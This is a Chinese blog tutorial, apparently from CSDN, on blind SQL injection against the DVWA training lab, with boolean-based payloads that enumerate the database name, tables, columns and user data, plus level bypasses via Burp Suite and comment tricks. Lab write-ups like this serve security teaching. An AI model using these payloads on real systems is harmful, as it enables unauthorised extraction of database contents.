sql盲注
1.sql盲注的基本内容
1.1 sql注入与盲注的区别
盲注:目标只会回复是或者不是,没有详细内容;
注入:可以查看到详细的内容
1.2 sql盲注的过程
判断是否存在注入,注入是字符型还是数字型
猜解当前数据库名–>猜数据库的长度–>猜数据库的名称
猜解数据库中的表名–>猜表的数量–>猜表的长度–>猜表的名称
猜解表中的字段名–>猜列的数量–>猜列的长度–>列的名称
1.3 sql盲注的类型
基于布尔值的盲注
基于时间的盲注
基于报错的盲注
2. DVWA模拟实验
了解一个关键函数:
2.1 low等级
1.分析源代码
从源码中可以看出并没有任何防御措施,存在sql注入漏洞,并且注入类型是字符型。
但是输出只有两句话,所以应该采用盲注的方法。
2.手动盲注过程
(1)猜测数据库名的长度
从1开始试,一直到页面返回正确。
(2)猜测数据库的名称
利用二分法,并对照ASCII码表可以得到数据库名四个字符分别是什么
1' and ascii(substr(database(),1,1))=100 #
1' and ascii(substr(database(),1,1))=118 #
1' and ascii(substr(database(),1,1))=119 #
1' and ascii(substr(database(),1,1))=97 #
得到数据库的名称:dvwa
(3)猜测表的数量
1' and (select count(table_name) from information_schema.tables where table_schema='dvwa')=2 #
可以得到数据库中一共有两个表
(4)猜测表的名称
1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))=9 #
1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=5 #
可以得到两张表的名称长度分别是9和5
(5)猜测表的名称
代码参考如下:(过程省略)
1' and ascii(substr ((select table_name from imformation_schema.tables where table_schema='dvwa' limit 0,1),1))>97
利用二分法,分别猜测出两张表的名称:(guestbook和users)
(6)猜测数据表中列的个数(以users为例)
1' and (select count(column_name) from information_schema.columns where table_name='users')=8 #
可以得到users表中一共有8列
(7)猜测每列名称的长度
参考代码如下:(过程省略)
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1 #
(8)猜测每列的名称
参考代码如下:(过程省略)
利用二分法
1' and ascii(substr ((select column_name from imformation_schema.columns where table_schema='dvwa' limit 0,1),1))>97 #
(9)获取数据
参考代码如下:(过程省略)
1' and (ascii(substr((select user from users limit 0,1),1,1)))=97 #
2.2 medium等级
1.查看源代码
从源码中可以发现,该等级下利用mysql_real_escape_string函数将部分字符进行了转义
采用下拉式窗口,用户不能输入,只能选择
2.绕过方法
利用burpsuite抓取并修改请求包
3.盲注过程
通过burpsuite抓包,并进行盲注。
具体过程省略。
2.3 high等级
1.查看源代码
从源码中可以看出,在SQL查询语句中添加了LIMIT 1,通过这种方式控制只输入一个结果。
2.绕过方法
利用“#”将其注释掉
3.盲注过程
接下来的操作与low级别一样;
虽然源码中限制了输入的长度为1,但是我们在输入的最后加个“#”,就可以注释掉源码中的limit 1。
具体过程省略。
2.4 impossible
1.查看源码
2.分析
Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入
同时只有返回的查询结果数量为1时,才会输出。
来源:CSDN
作者:逍遥狂人
链接:https://blog.csdn.net/Allen__0/article/details/103975792